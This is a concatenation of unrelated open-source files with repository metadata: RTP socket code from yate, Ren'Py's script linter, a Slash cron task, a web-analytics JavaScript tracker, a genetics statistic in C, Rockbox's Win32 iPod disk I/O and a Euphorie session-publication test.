m_rtpSock.terminate(); m_rtcpSock.terminate(); return false; } } addr.port(p+1); if (m_rtcpSock.create(addr.family(),SOCK_DGRAM) && m_rtcpSock.bind(addr)) { m_rtcpSock.setBlocking(false); addr.port(p); m_localAddr = addr; setScopeId(m_localAddr,m_remoteAddr,m_remoteRTCP,&m_remotePref); return true; } #ifdef DEBUG else Debug(DebugMild,"RTCP Socket failed with code %d",m_rtcpSock.error()); #endif } #ifdef DEBUG else Debug(DebugMild,"RTP Socket failed with code %d",m_rtpSock.error()); #endif m_rtpSock.terminate(); m_rtcpSock.terminate(); return false; } bool RTPTransport::remoteAddr(SocketAddr& addr, bool sniff) { Lock lock(group()); m_autoRemote = sniff; int p = addr.port(); // make sure we have a valid address and a port // we do not check that it's even numbered as many NAPTs will break that if (p && addr.valid()) { m_warnSendErrorRtp = true; m_warnSendErrorRtcp = true; m_remoteAddr = addr; m_remoteRTCP = addr; m_remoteRTCP.port(addr.port()+1); // if sniffing packets from other sources remember preferred address if (sniff) m_remotePref = addr; setScopeId(m_localAddr,m_remoteAddr,m_remoteRTCP,sniff ? &m_remotePref : 0); return true; } return false; } bool RTPTransport::setBuffer(int bufLen) { #ifdef SO_RCVBUF if (bufLen < 1024) bufLen = 1024; else if (bufLen > 65536) bufLen = 65536; bool ok = m_rtpSock.valid() && m_rtpSock.setOption(SOL_SOCKET,SO_RCVBUF,&bufLen,sizeof(bufLen)); if (ok && m_rtcpSock.valid()) ok = m_rtcpSock.setOption(SOL_SOCKET,SO_RCVBUF,&bufLen,sizeof(bufLen)); return ok; #else return false; #endif } bool RTPTransport::drillHole() { if (m_rtpSock.valid() && m_remoteAddr.valid()) { static const char buf[4] = { 0, 0, 0, 0 }; if (m_rtpSock.sendTo(buf,sizeof(buf),m_remoteAddr) == sizeof(buf)) { if (m_rtcpSock.valid() && m_remoteRTCP.valid()) m_rtcpSock.sendTo(buf,sizeof(buf),m_remoteRTCP); return true; } } return false; } /* vi: set ts=8 sw=4 sts=4 noet: */
shimaore/yate
libs/yrtp/transport.cpp
C++
gpl-2.0
11,624
# Copyright 2004-2010 PyTom <pytom@bishoujo.us> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. import renpy import codecs import os import os.path import time image_prefixes = None filenames = None # Things to check in lint. # # Image files exist, and are of the right case. # Jump/Call targets defined. # Say whos can evaluate. # Call followed by say. # Show/Scene valid. # At valid. # With valid. # Hide maybe valid. # Expressions can compile. # The node the report will be about: report_node = None # Reports a message to the user. def report(msg, *args): if report_node: out = u"%s:%d " % (renpy.parser.unicode_filename(report_node.filename), report_node.linenumber) else: out = "" out += msg % args print print out.encode('utf-8') added = { } # Reports additional information about a message, the first time it # occurs. def add(msg): if not msg in added: added[msg] = True print unicode(msg).encode('utf-8') # Trys to evaluate an expression, announcing an error if it fails. def try_eval(where, expr, additional=None): try: renpy.python.py_eval(expr) except: report( "Could not evaluate '%s', in %s.", expr, where) if additional: add(additional) # Returns True of the expression can be compiled as python, False # otherwise. def try_compile(where, expr): try: renpy.python.py_compile_eval_bytecode(expr) except: report("'%s' could not be compiled as a python expression, %s.", expr, where) # This reports an error if we're sure that the image with the given name # does not exist. def image_exists(name, expression, tag): # Add the tag to the set of known tags. tag = tag or name[0] image_prefixes[tag] = True if expression: return name = list(name) names = " ".join(name) while name: if tuple(name) in renpy.exports.images: return name.pop() report("The image named '%s' was not declared.", names) # Only check each file once. check_file_cache = { } def check_file(what, fn): present = check_file_cache.get(fn, None) if present is True: return if present is False: report("%s uses file '%s', which is not loadable.", what.capitalize(), fn) return if not renpy.loader.loadable(fn): report("%s uses file '%s', which is not loadable.", what.capitalize(), fn) check_file_cache[fn] = False return check_file_cache[fn] = True try: renpy.loader.transfn(fn) except: return if renpy.loader.transfn(fn) and \ fn.lower() in filenames and \ fn != filenames[fn.lower()]: report("Filename case mismatch for %s. '%s' was used in the script, but '%s' was found on disk.", what, fn, filenames[fn.lower()]) add("Case mismatches can lead to problems on Mac, Linux/Unix, and when archiving images. To fix them, either rename the file on disk, or the filename use in the script.") def check_displayable(what, d): files = [ ] def files_callback(img): files.extend(img.predict_files()) d.predict(files_callback) for fn in files: check_file(what, fn) # Lints ast.Image nodes. def check_image(node): name = " ".join(node.imgname) check_displayable('image %s' % name, renpy.exports.images[node.imgname]) def imspec(t): if len(t) == 3: return t[0], None, None, t[1], t[2], 0 if len(t) == 6: return t[0], t[1], t[2], t[3], t[4], t[5], None else: return t # Lints ast.Show and ast.Scene nodets. def check_show(node): # A Scene may have an empty imspec. if not node.imspec: return name, expression, tag, at_list, layer, zorder, behind = imspec(node.imspec) if layer not in renpy.config.layers and layer not in renpy.config.top_layers: report("Uses layer '%s', which is not in config.layers.", layer) image_exists(name, expression, tag) for i in at_list: try_eval("the at list of a scene or show statment", i, "Perhaps you forgot to declare, or misspelled, a position?") # Lints ast.Hide. def check_hide(node): name, expression, tag, at_list, layer, zorder, behind = imspec(node.imspec) tag = tag or name[0] if layer not in renpy.config.layers and layer not in renpy.config.top_layers: report("Uses layer '%s', which is not in config.layers.", layer) if tag not in image_prefixes: report("The image tag '%s' is not the prefix of a declared image, nor was it used in a show statement before this hide statement.", tag) # for i in at_list: # try_eval(node, "at list of hide statment", i) def check_with(node): try_eval("a with statement or clause", node.expr, "Perhaps you forgot to declare, or misspelled, a transition?") def check_user(node): def error(msg): report("%s", msg) renpy.exports.push_error_handler(error) try: node.call("lint") finally: renpy.exports.pop_error_handler() try: node.get_next() except: report("Didn't properly report what the next statement should be.") check_text_tags = renpy.display.text.check_text_tags def text_checks(s): msg = renpy.display.text.check_text_tags(s) if msg: report("%s (in %s)", msg, repr(s)[1:]) if "%" in s: state = 0 pos = 0 fmt = "" while pos < len(s): c = s[pos] pos += 1 # Not in a format. if state == 0: if c == "%": state = 1 fmt = "%" # In a format. elif state == 1: fmt += c if c == "(": state = 2 elif c in "#0123456780- +hlL": state = 1 elif c in "diouxXeEfFgGcrs%": state = 0 else: report("Unknown string format code '%s' (in %s)", fmt, repr(s)[1:]) state = 0 # In a mapping key. elif state == 2: fmt += c if c == ")": state = 1 if state != 0: report("Unterminated string format code '%s' (in %s)", fmt, repr(s)[1:]) def check_say(node): if node.who: try_eval("the who part of a say statement", node.who, "Perhaps you forgot to declare a character?") if node.with_: try_eval("the with clause of a say statement", node.with_, "Perhaps you forgot to declare, or misspelled, a transition?") text_checks(node.what) def check_menu(node): if node.with_: try_eval("the with clause of a menu statement", node.with_, "Perhaps you forgot to declare, or misspelled, a transition?") if not [ (l, c, b) for l, c, b in node.items if b ]: report("The menu does not contain any selectable choices.") for l, c, b in node.items: if c: try_compile("in the if clause of a menuitem", c) text_checks(l) def check_jump(node): if node.expression: return if not renpy.game.script.has_label(node.target): report("The jump is to nonexistent label '%s'.", node.target) def check_call(node): # if not isinstance(node.next.name, basestring): # report(node, "The call does not have a from clause associated with it.") # add("You can add from clauses to calls automatically by running the add_from program.") # add("This is necessary to ensure saves can be loaded even when the script changes.") if node.expression: return if not renpy.game.script.has_label(node.label): report("The call is to nonexistent label '%s'.", node.label) def check_while(node): try_compile("in the condition of the while statement", node.condition) def check_if(node): for condition, block in node.entries: try_compile("in a condition of the if statement", condition) def check_style(name, s): if s.indexed: for i in s.indexed: check_style(name + "[%r]" % (name,), s.indexed[i]) for p in s.properties: for k, v in p.iteritems(): kname = name + "." + k # Treat font specially. if k.endswith("font"): check_file(name, v) e = renpy.style.expansions[k] # We only need to check the first function. for prio, propn, func in e: if func: v = func(v) break if isinstance(v, renpy.display.core.Displayable): check_displayable(kname, v) def check_styles(): for name, s in renpy.style.style_map.iteritems(): check_style("Style property style." + name, s) def lint(): """ The master lint function, that's responsible for staging all of the other checks. """ renpy.game.lint = True print codecs.BOM_UTF8 print unicode(renpy.version + " lint report, generated at: " + time.ctime()).encode("utf-8") # This is used to support the check_image. global filenames filenames = { } for d in renpy.config.searchpath: for fn in os.listdir(os.path.join(renpy.config.basedir, d)): filenames[fn.lower()] = fn # This supports check_hide. global image_prefixes image_prefixes = { } for k in renpy.exports.images: image_prefixes[k[0]] = True # Iterate through every statement in the program, processing # them. We sort them in filename, linenumber order. all_stmts = [ (i.filename, i.linenumber, i) for i in renpy.game.script.all_stmts ] all_stmts.sort() say_words = 0 say_count = 0 menu_count = 0 global report_node for fn, ln, node in all_stmts: report_node = node if isinstance(node, renpy.ast.Image): check_image(node) elif isinstance(node, renpy.ast.Show): check_show(node) elif isinstance(node, renpy.ast.Scene): check_show(node) elif isinstance(node, renpy.ast.Hide): check_hide(node) elif isinstance(node, renpy.ast.With): check_with(node) elif isinstance(node, renpy.ast.Say): check_say(node) say_count += 1 say_words += len(node.what.split()) elif isinstance(node, renpy.ast.Menu): check_menu(node) menu_count += 1 elif isinstance(node, renpy.ast.Jump): check_jump(node) elif isinstance(node, renpy.ast.Call): check_call(node) elif isinstance(node, renpy.ast.While): check_while(node) elif isinstance(node, renpy.ast.If): check_if(node) elif isinstance(node, renpy.ast.UserStatement): check_user(node) report_node = None check_styles() for f in renpy.config.lint_hooks: f() print print print "Statistics:" print print "The game contains", say_count, "screens of dialogue." print "These screens contain a total of", say_words, "words," if say_count > 0: print "for an average of %.1f words per screen." % (1.0 * say_words / say_count) print "The game contains", menu_count, "menus." print if renpy.config.developer: print "Remember to set config.developer to False before releasing." print print "Lint is not a substitute for thorough testing. Remember to update Ren'Py" print "before releasing. New releases fix bugs and improve compatibility."
MSEMJEJME/ReAlistair
renpy/lint.py
Python
gpl-2.0
13,359
#!/usr/bin/perl -w # $Id: topic_popup_static.pl,v 1.4 2004/10/25 22:52:18 pudge Exp $ use strict; use Slash::Constants ':slashd'; use Slash::Admin::PopupTree; use vars qw( %task $me ); # these files will almost never change, but it doesn't cost much to run, # so once an hour is fine $task{$me}{timespec} = '50 * * * *'; $task{$me}{timespec_panic_1} = ''; # if panic, we can wait $task{$me}{on_startup} = 1; $task{$me}{fork} = SLASHD_NOWAIT; $task{$me}{code} = sub { my($virtual_user, $constants, $slashdb, $user) = @_; Slash::Utility::Anchor::getSkinColors(); for my $type ('css', 'js') { my $new = Slash::Admin::PopupTree::getPopupTree({}, { type => $type, Nocomm => 1 }); next unless $new; if ($type eq 'js') { my $tree = Slash::Admin::PopupTree::getPopupTree({}, { type => 'tree', Nocomm => 1 }); $tree =~ s/'/\\'/g; $tree =~ s/\n/\\n/g; $new .= "\n\ndocument.write('$tree');\n\n"; } my $file = catfile($constants->{basedir}, "admin-topic-popup.$type"); save2file($file, $new); } }; 1;
jmcvetta/slashcode
plugins/Admin/topic_popup_static.pl
Perl
gpl-2.0
1,027
/** * 统计js * author zzy */ var st_config = {"memc":"","memcExpires":"","pass":0}; var st=(function(e){ var _self = this; var config = {}; /*获取cookie*/ var _getCookie = function(key){ var strCookie=document.cookie; var arrCookie=strCookie.split("; "); for(var i=0;i<arrCookie.length;i++){ var arr=arrCookie[i].split("="); if(arr[0]==key)return arr[1]; } return ""; }; var _gCookie = function(key){ //console.log(key); var strCookie=document.cookie; var arrCookie=strCookie.split("; "); for(var i=0;i<arrCookie.length;i++){ var arr=arrCookie[i].split("="); if(arr[0]==key)return arr[1]; } return ""; }; var _setCookie = function(key,value,expire){ var expdate = new Date(); //初始化时间 expdate.setTime(expdate.getTime() + expire ); //时间 document.cookie = key+"="+value+";expires="+expdate.toGMTString()+";path=/"; }; var _queryString = function(name){ var svalue = window.location.search.match(new RegExp("[\?\&]" + name + "=([^\&]*)(\&?)","i")); return svalue ? svalue[1] : svalue; } var __getJSON=function(args){ var openid =_gCookie("stat_openid");// 'o_gjIjp5ONKYetCUiDo6Dr98QFdo'; var url = args.url+openid; //alert(url); var script = document.createElement('script'); script.src = url; script.type = "text/javascript"; document.getElementsByTagName('script')[0].appendChild(script); if (!+[1,]) { script.onreadystatechange = function() { if (this.readyState == 'loaded' || this.readyState == 'complete') { } } } else { script.onload = function() { } } } var _gJson = function(url,callbackFn){ //alert(args.callbackFn); jq.ajax({ async:false, type:'get', url:url, dataType:'jsonp', jsonpCallback:callbackFn, success : function(json){ console.log(json); //alert(json[0].name); } }); // Ajax.send({ // url:url, // async: false, // dataType: 'jsonp', // jsoncallback:callbackFn // }); // $.ajax({ // url:url+'&jsonp='+callbackFn, // type:'get', // async:false, // dataType:'jsonp', // success:function(){} // }) }; /***生成channelInfo ***/ var _createChannelInfo = function(args){ var channel=_getCookie("stat_channel"),channelInfo=""; //清空cookie中记录 _setCookie("stat_channel","",1); //判断是否存在channel_expires if( args["channel_expires"] && args["channel_expires"] < Math.ceil( Date.parse(new Date())/1000 ) ){ args["from_channel"] = ""; //清空from_channel } //判断ocs是否记录channel if( args["from_channel"] ) { channelInfo = args["from_channel"]; }else if( channel ){ channelInfo = channel; }else{ return false; } return channelInfo; } /***生成ActionSeqId***/ var _createActionSeqId = function( args ){ var channel=_getCookie("stat_channel"); if( !channel ){ return _getCookie("stat_action_seq_id"); } //_gJson({'url':args.memcServerPath+"&key=channel_expires_","callbackFn":"_memcTime"}); //_gJson({'url':args.memcServerPath+"&key=channel_",'callbackFn':"_returnBackMemc"}); //_gJson(args.memcServerPath+"&key=channel_expires_"+args.stat_openid,"_memcTime"); //_gJson(args.memcServerPath+"&key=channel_"+args.stat_openid,"_returnBackMemc"); var from_channel_expires= st_config.memcExpires; //console.log(from_channel_expires+'-3'); var from_channel = st_config.memc; //console.log(st_config.memc+'-3'); var channelInfo = _createChannelInfo({ "from_channel":from_channel, "channel_expires":from_channel_expires }); if( !channelInfo ){ return _getCookie("stat_action_seq_id"); } // 密码字符集,可任意添加你需要的字符 var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',stat_random='',len = chars.length; for ( var i = 0; i < 32; i++ ) { id = Math.ceil( Math.random()*( len-1 ) ); stat_random += chars[ id ]; } var stat_weimobid = _getCookie("weimobID"); var stat_action_seq_id = stat_random+":"+channelInfo+":"+stat_weimobid; _setCookie("stat_action_seq_id", stat_action_seq_id ,3650*24*3600); return stat_action_seq_id; } /** * 页面加载执行 * @param openId * @param pid * @param bid * @param webType 类型 * @param module 模块 * @param statisticServerPath 项目中配置 * @param memcServerPath */ var _triggerEvent = function(args){ var config = { "stat_openid":_getCookie("stat_openid"), "stat_pid":_getCookie("stat_pid"), "stat_bid":_getCookie("stat_bid"), "stat_webtype":_getCookie("stat_webtype"), "stat_module":_getCookie("stat_module") }; //__getJSON({'url':args.memcServerPath+"&key=channel_expires_"}); //__getJSON({'url':args.memcServerPath+"&key=channel_"}); //for(;st_config.pass<10;){} //action_seq_id var stat_action_seq_id = _createActionSeqId( { "stat_openid":config.stat_openid, "memcServerPath":args.memcServerPath }); //统计 var _args={ "stat_pid":config.stat_pid, "stat_bid":config.stat_bid, "stat_action_seq_id":stat_action_seq_id, "stat_webtype":config.stat_webtype, "stat_module":config.stat_module, "stat_action":args.stat_action, "stat_optValue":args.stat_optValue, "statisticServerPath":args.statisticServerPath }; //console.log(st_config.memcExpires+'-1'); var arr=[]; arr[0] = "StatType=qudao"; arr[1] = "url="+encodeURIComponent(location.href); arr[2] = "stat_bid="+_args.stat_bid; arr[3] = "stat_pid="+_args.stat_pid; arr[4] = "stat_action_seq_id="+_args.stat_action_seq_id; arr[5] = "stat_webtype="+_args.stat_webtype; arr[6] = "stat_module="+_args.stat_module; arr[7] = "stat_time="+Math.ceil( Date.parse(new Date()) / 1000 ); arr[8] = "stat_action="+_args.stat_action; arr[9] = "stat_optValue="+_args.stat_optValue; var str= arr.join("&"); var wm = document.createElement("script"); wm.src = args.statisticServerPath + "?" + str; console.log(wm.src); var s = document.getElementsByTagName("body")[0]; s.appendChild(wm); } return { push:function(fn,args){ if(args.is_statistic_on=="off"){ return false; } //var stat_openid=getCookie("stat_openid");///'o_gjIjp5ONKYetCUiDo6Dr98QFdo'; eval('__getJSON').call(this,{'url':args.memcServerPath+"&key=channel_expires_"}); eval('__getJSON').call(this,{'url':args.memcServerPath+"&key=channel_"}); setTimeout(function(){ //延迟执行执行 eval(fn).call(this,args); },2000); } } })(); function _memcTime(data){ //console.log(data+'-2'); //alert(data+'-2'); st_config.memcExpires = data; } function _returnBackMemc(data){ //alert(data+'-1'); //console.log(data+'-1'); st_config.memc = data; } /***调用案例***/ //注:is_statistic_on on 开 off 关 //页面统计使用案例 //st.push("_triggerEvent",{ // "is_statistic_on":"on", // "statisticServerPath": "http://statistic.dev.weimob.com/wm.js", //统计地址 // "memcServerPath": "http://121.42.10.197/memc?cmd=get", //缓存地址 // "stat_action":"loadPage", // "stat_optValue":"" //});
JoelPub/wordpress-amazon
order/source/modules/izc_strcoupon/template/mobile/style/st.js
JavaScript
gpl-2.0
7,129
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "pq_htable.h" #include "pq_genetics.h" #include "pq_generics.h" #include "pq_args.h" // values = [nvcodons, nsyn, nnon, ds, dn, ps, pn] // outs = [nsam, nvcodons, nsyn, nnon, ds, dn, ps, pn] void pq_swupdate_pnds(struct StatObject *stats, char **array) { int k; int diff_syn; int diff_nsyn; void *aptr; void *ref_aa; void *ref_sptr; double syn_muts; double nsyn_muts; unsigned int bad_codons; bad_codons = 0; for (k = 0; k < NKARGS; k++) { bad_codons += 1 - pq_alldna(array[KCOLS[k]]); } if (bad_codons == 0) { pq_dna_upper(array[KCOLS[0]]); ref_aa = pq_lookup_hash(&CODON_TO_AMINO, array[KCOLS[0]]); ref_sptr = pq_lookup_hash(&CODON_TO_NSYN, array[KCOLS[0]]); syn_muts = *(double *)ref_sptr; nsyn_muts = 9.0 - syn_muts; *(long long int *)stats->values[0] += 1; *(double *)stats->values[1] += syn_muts / 3.0; *(double *)stats->values[2] += nsyn_muts / 3.0; diff_syn = 0; diff_nsyn = 0; for (k = 1; k < NKARGS; k++) { pq_dna_upper(array[KCOLS[k]]); aptr = pq_lookup_hash(&CODON_TO_AMINO, array[KCOLS[k]]); if (strcmp(array[KCOLS[0]], array[KCOLS[k]]) == 0) { } else { if (strcmp(aptr, ref_aa) != 0) { diff_nsyn++; } else { diff_syn++; } } } if (stats->nsam == diff_syn) { *(long long int *)stats->values[3] += 1; } else if (diff_syn > 0) { *(long long int *)stats->values[5] += 1; } if (stats->nsam == diff_nsyn) { *(long long int *)stats->values[4] += 1; } else if (diff_nsyn > 0) { *(long long int *)stats->values[6] += 1; } } } void pq_swwrite_pnds(struct StatObject *stats) { sprintf(stats->outs[0], "%d", stats->nsam); sprintf(stats->outs[1], "%lli", *(long long int *)stats->values[0]); sprintf(stats->outs[2], "%f", *(double *)stats->values[1]); sprintf(stats->outs[3], "%f", *(double *)stats->values[2]); sprintf(stats->outs[4], "%lli", *(long long int *)stats->values[3]); sprintf(stats->outs[5], "%lli", *(long long int *)stats->values[4]); sprintf(stats->outs[6], "%lli", *(long long int *)stats->values[5]); sprintf(stats->outs[7], "%lli", *(long long int *)stats->values[6]); } void pq_swclear_pnds(struct StatObject *stats) { int i; for (i = 0; i < stats->nvalues; i++) { *(long long int *)stats->values[i] = 0; } } void PQ_PNDS_INIT(struct StatObject *stats, int nsam) { int i; stats->nsam = nsam - 1; stats->nvalues = 7; stats->nouts = 8; stats->outs = calloc(stats->nouts, sizeof(char *)); stats->values = calloc(stats->nvalues, sizeof(void *)); for (i = 0; i < stats->nouts; i++) { stats->outs[i] = calloc(128, sizeof(char)); } stats->values[0] = malloc(sizeof(long long int)); *(long long int *)stats->values[0] = 0; stats->values[1] = malloc(sizeof(double)); *(double *)stats->values[1] = 0.0; stats->values[2] = malloc(sizeof(double)); *(double *)stats->values[2] = 0.0; for (i = 3; i < stats->nvalues; i++) { stats->values[i] = malloc(sizeof(long long int)); *(long long int *)stats->values[i] = 0; } stats->update = pq_swupdate_pnds; stats->write = pq_swwrite_pnds; stats->clear = pq_swclear_pnds; }
mspopgen/pq-genetics
src/pq_pnds.c
C
gpl-2.0
3,264
package com.liiwin.utils; /** * <p>标题: webserviceUtil类</p> * <p>功能: </p> * <p>所属模块: rootbase</p> * <p>版权: Copyright © 2017 zyzhu</p> * <p>公司: xyz.zyzhu</p> * <p>创建日期:2017年8月11日 下午2:42:53</p> * <p>类全名:com.liiwin.utils.WSUtils</p> * 作者:赵玉柱 * 初审: * 复审: * 监听使用界面: * @version 8.0 */ public class WSUtils { }
zyz963272311/testGitHub
rootbase/src/com/liiwin/utils/WSUtils.java
Java
gpl-2.0
416
/*************************************************************************** * __________ __ ___. * Open \______ \ ____ ____ | | _\_ |__ _______ ___ * Source | _// _ \_/ ___\| |/ /| __ \ / _ \ \/ / * Jukebox | | ( <_> ) \___| < | \_\ ( <_> > < < * Firmware |____|_ /\____/ \___ >__|_ \|___ /\____/__/\_ \ * \/ \/ \/ \/ \/ * $Id$ * * Copyright (C) 2006-2007 Dave Chapman * * error(), lock_volume() and unlock_volume() functions and inspiration taken * from: * RawDisk - Direct Disk Read/Write Access for NT/2000/XP * Copyright (c) 2003 Jan Kiszka * http://www.stud.uni-hannover.de/user/73174/RawDisk/ * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ****************************************************************************/ #if defined(_WIN32) #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <windows.h> #include <stddef.h> #include <winioctl.h> #include "ipodio.h" static int lock_volume(HANDLE hDisk) { DWORD dummy; return DeviceIoControl(hDisk, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dummy, NULL); } static int unlock_volume(HANDLE hDisk) { DWORD dummy; return DeviceIoControl(hDisk, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dummy, NULL); } void ipod_print_error(char* msg) { LPSTR pMsgBuf = NULL; printf(msg); FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), pMsgBuf, 0, NULL); printf(pMsgBuf); LocalFree(pMsgBuf); } int ipod_open(struct ipod_t* ipod, int silent) { DISK_GEOMETRY_EX diskgeometry_ex; DISK_GEOMETRY diskgeometry; unsigned long n; ipod->dh = CreateFileA(ipod->diskname, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING, NULL); if (ipod->dh == INVALID_HANDLE_VALUE) { if (!silent) ipod_print_error(" Error opening disk: "); if(GetLastError() == ERROR_ACCESS_DENIED) return -2; else return -1; } if (!lock_volume(ipod->dh)) { if (!silent) ipod_print_error(" Error locking disk: "); return -1; } /* Defaults */ ipod->num_heads = 0; ipod->sectors_per_track = 0; if (!DeviceIoControl(ipod->dh, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, NULL, 0, &diskgeometry_ex, sizeof(diskgeometry_ex), &n, NULL)) { if (!DeviceIoControl(ipod->dh, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &diskgeometry, sizeof(diskgeometry), &n, NULL)) { if (!silent) ipod_print_error(" Error reading disk geometry: "); return -1; } else { ipod->sector_size = diskgeometry.BytesPerSector; ipod->num_heads = diskgeometry.TracksPerCylinder; ipod->sectors_per_track = diskgeometry.SectorsPerTrack; } } else { ipod->sector_size = diskgeometry_ex.Geometry.BytesPerSector; ipod->num_heads = diskgeometry_ex.Geometry.TracksPerCylinder; ipod->sectors_per_track = diskgeometry_ex.Geometry.SectorsPerTrack; } return 0; } int ipod_reopen_rw(struct ipod_t* ipod) { /* Close existing file and re-open for writing */ unlock_volume(ipod->dh); CloseHandle(ipod->dh); ipod->dh = CreateFileA(ipod->diskname, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING, NULL); if (ipod->dh == INVALID_HANDLE_VALUE) { ipod_print_error(" Error opening disk: "); return -1; } if (!lock_volume(ipod->dh)) { ipod_print_error(" Error locking disk: "); return -1; } return 0; } int ipod_close(struct ipod_t* ipod) { unlock_volume(ipod->dh); CloseHandle(ipod->dh); return 0; } int ipod_alloc_buffer(struct ipod_t* ipod, int bufsize) { /* The ReadFile function requires a memory buffer aligned to a multiple of the disk sector size. */ ipod->sectorbuf = (unsigned char*)VirtualAlloc(NULL, bufsize, MEM_COMMIT, PAGE_READWRITE); if (ipod->sectorbuf== NULL) { ipod_print_error(" Error allocating a buffer: "); return -1; } return 0; } int ipod_dealloc_buffer(struct ipod_t* ipod) { if (ipod->sectorbuf == NULL) { return -1; } if(!VirtualFree(ipod->sectorbuf, 0, MEM_RELEASE)) { ipod_print_error(" Error releasing buffer "); return -1; } ipod->sectorbuf = NULL; return 0; } int ipod_seek(struct ipod_t* ipod, unsigned long pos) { if (SetFilePointer(ipod->dh, pos, NULL, FILE_BEGIN)==0xffffffff) { ipod_print_error(" Seek error "); return -1; } return 0; } ssize_t ipod_read(struct ipod_t* ipod, int nbytes) { unsigned long count; if(ipod->sectorbuf == NULL) { return -1; } if (!ReadFile(ipod->dh, ipod->sectorbuf, nbytes, &count, NULL)) { ipod_print_error(" Error reading from disk: "); return -1; } return count; } ssize_t ipod_write(struct ipod_t* ipod, int nbytes) { unsigned long count; if(ipod->sectorbuf == NULL) { return -1; } if (!WriteFile(ipod->dh, ipod->sectorbuf, nbytes, &count, NULL)) { ipod_print_error(" Error writing to disk: "); return -1; } return count; } #endif
renolui/RenoStudio
Player/rbutil/ipodpatcher/ipodio-win32.c
C
gpl-2.0
6,408
<?php delete_option('blogger_importer'); delete_option('blogger_importer_connector'); $blogopt = true; for ($i = 1; $blogopt ; $i++) { $blogopt = get_option('blogger_importer_blog_'.$i); if (is_array($blogopt)) delete_option('blogger_importer_blog_'.$i); }
nihrain/accelerate
wp-content/plugins/blogger-importer/uninstall.php
PHP
gpl-2.0
258
# coding=utf-8 from datetime import datetime from euphorie.client import model from euphorie.client.tests.utils import addAccount from euphorie.client.tests.utils import addSurvey from euphorie.content.tests.utils import BASIC_SURVEY from euphorie.testing import EuphorieIntegrationTestCase from lxml import html from plone import api from Products.Five.browser.metaconfigure import ViewNotCallableError from time import sleep from zope.event import notify from zope.lifecycleevent import ObjectModifiedEvent class TestSurveyViews(EuphorieIntegrationTestCase): def test_survey_publication_date_views(self): """We have some views to display and set the published column for a survey session """ with api.env.adopt_user("admin"): survey = addSurvey(self.portal, BASIC_SURVEY) account = addAccount(password="secret") survey_session = model.SurveySession( id=123, title=u"Dummy session", created=datetime(2012, 4, 22, 23, 5, 12), modified=datetime(2012, 4, 23, 11, 50, 30), zodb_path="nl/ict/software-development", account=account, company=model.Company(country="nl", employees="1-9", referer="other"), ) model.Session.add(survey_session) survey = self.portal.client.nl.ict["software-development"] session_id = "++session++%d" % survey_session.id traversed_survey_session = survey.restrictedTraverse(session_id) with api.env.adopt_user(user=survey_session.account): with self._get_view( "publication_date", traversed_survey_session, survey_session ) as view: # The view is not callable but # has traversable allowed attributes self.assertRaises(ViewNotCallableError, view) # We have some default values that will be changed # when publishing/unpublishing the session self.assertEqual(survey_session.last_publisher, None) self.assertEqual(survey_session.published, None) self.assertEqual(survey_session.last_modifier, None) self.assertEqual(survey_session.review_state, "private") # Calling set_date will result in having this session published # and the publication time and the publisher will be recorded # If no referer is set, # the methods will redirect to the context url self.assertEqual( view.set_date(), "{url}/{session_id}".format( url=survey.absolute_url(), session_id=session_id ), ) self.assertEqual(survey_session.last_publisher, survey_session.account) self.assertIsInstance(survey_session.published, datetime) self.assertEqual(survey_session.review_state, "published") old_modified = survey_session.modified old_published = survey_session.published old_modifier = survey_session.last_modifier # Changing the HTTP_REFERER will redirect there # and calling reset_date will update the published date view.request.set("HTTP_REFERER", "foo") # We need to wait at least one second because the datetime # is stored with that accuracy sleep(1) self.assertEqual(view.reset_date(), "foo") self.assertEqual(survey_session.last_publisher, survey_session.account) # The publisher and publication dates are set. The modification date # is not touched. self.assertEqual(survey_session.modified, old_modified) self.assertEqual(survey_session.last_modifier, old_modifier) self.assertTrue(survey_session.published > old_published) # Calling unset_date will restore the publication info self.assertEqual(view.unset_date(), "foo") self.assertEqual(survey_session.last_publisher, None) self.assertEqual(survey_session.published, None) self.assertEqual(survey_session.review_state, "private") # We also have a menu view with self._get_view( "publication_menu", traversed_survey_session, survey_session ) as view: soup = html.fromstring(view()) self.assertListEqual( ["publication_date/set_date#content"], [ el.attrib["action"].rpartition("@@")[-1] for el in soup.cssselect("form") ], ) # We trigger the session to be private survey_session.published = "foo" soup = html.fromstring(view()) 